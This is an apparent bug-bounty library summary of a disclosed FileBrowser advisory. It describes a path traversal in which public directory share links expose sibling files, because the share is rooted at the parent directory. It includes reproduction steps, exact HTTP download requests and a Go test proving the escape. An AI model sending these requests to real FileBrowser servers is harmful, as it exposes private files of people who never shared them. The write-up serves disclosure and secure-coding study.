# FileBrowser has Path Traversal in Public Share Links that Exposes Files Outside Shared Directory

FileBrowser's public directory share roots BasePathFs at the parent via filepath.Dir, letting unauthenticated link holders list and download sibling files outside the share.

- Payout: Research
- Severity: high
- Program: FileBrowser
- Found by: uug4na
- Disclosed: 2026-03-02
- CVE: CVE-2026-28492
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mr74-928f-rw69
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-mr74-928f-rw69
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:info-disclosure vuln:path-traversal

**Target:** Public share link handlers (/api/public/share, /api/public/dl) in Go web file manager
**Root cause:** withHashFile sets the BasePathFs root to filepath.Dir(link.Path) for directory shares, rooting the filesystem at the parent directory instead of the shared directory itself.
**Steps:**
1. Create user scope with `/documents/shared/public-file.txt`, `/documents/secrets/passwords.txt`, `/documents/private/financial.csv`
2. Create public share for directory: `POST /api/share/documents/shared`
3. `GET /api/public/share/{hash}` returns listing of `/documents/` (parent) instead of `/documents/shared/`
4. `GET /api/public/dl/{hash}/secrets/passwords.txt` returns 200 with sibling file contents
**How found:** Code review of `http/public.go` withHashFile: noticed `filepath.Dir(link.Path)` used as BasePathFs root for directory shares, then confirmed with a standalone afero MemMapFs test showing sibling file open succeeds.
**Exploitation:** Anyone holding a public share link (or with the share password) requests the share listing or download endpoints with a path relative to the parent directory, e.g. `/secrets/passwords.txt`, and receives files outside the intended share scope without authentication.
**Insight:** When a share/download handler re-roots a filesystem abstraction, verify the root equals the shared resource exactly; `filepath.Dir` on a shared directory silently widens scope to all siblings, so test listing and download endpoints against a sibling file.

## Proof of concept (copied exactly from the original report)

**Go test proving sibling file escape via BasePathFs**

```
func TestShareScopeEscape(t *testing.T) {
    baseFs := afero.NewMemMapFs()
    afero.WriteFile(baseFs, "/documents/shared/public.txt", []byte("public"), 0644)
    afero.WriteFile(baseFs, "/documents/secrets/passwords.txt", []byte("admin:hunter2"), 0644)

    linkPath := "/documents/shared"
    basePath := filepath.Dir(linkPath) // BUG: "/documents"
    scopedFs := afero.NewBasePathFs(baseFs, basePath)

    // Sibling file is accessible through the share:
    f, err := scopedFs.Open("/secrets/passwords.txt")
    // err is nil - file accessible! Content: "admin:hunter2"
}
```

**HTTP requests downloading sibling file via share hash**

```
Download sibling files: `GET /api/public/dl/{hash}/secrets/passwords.txt`
5.    - **Expected**: 404 or 403 (file outside share scope)
6.    - **Actual**: 200 with file contents (sibling file downloaded successfully)
```

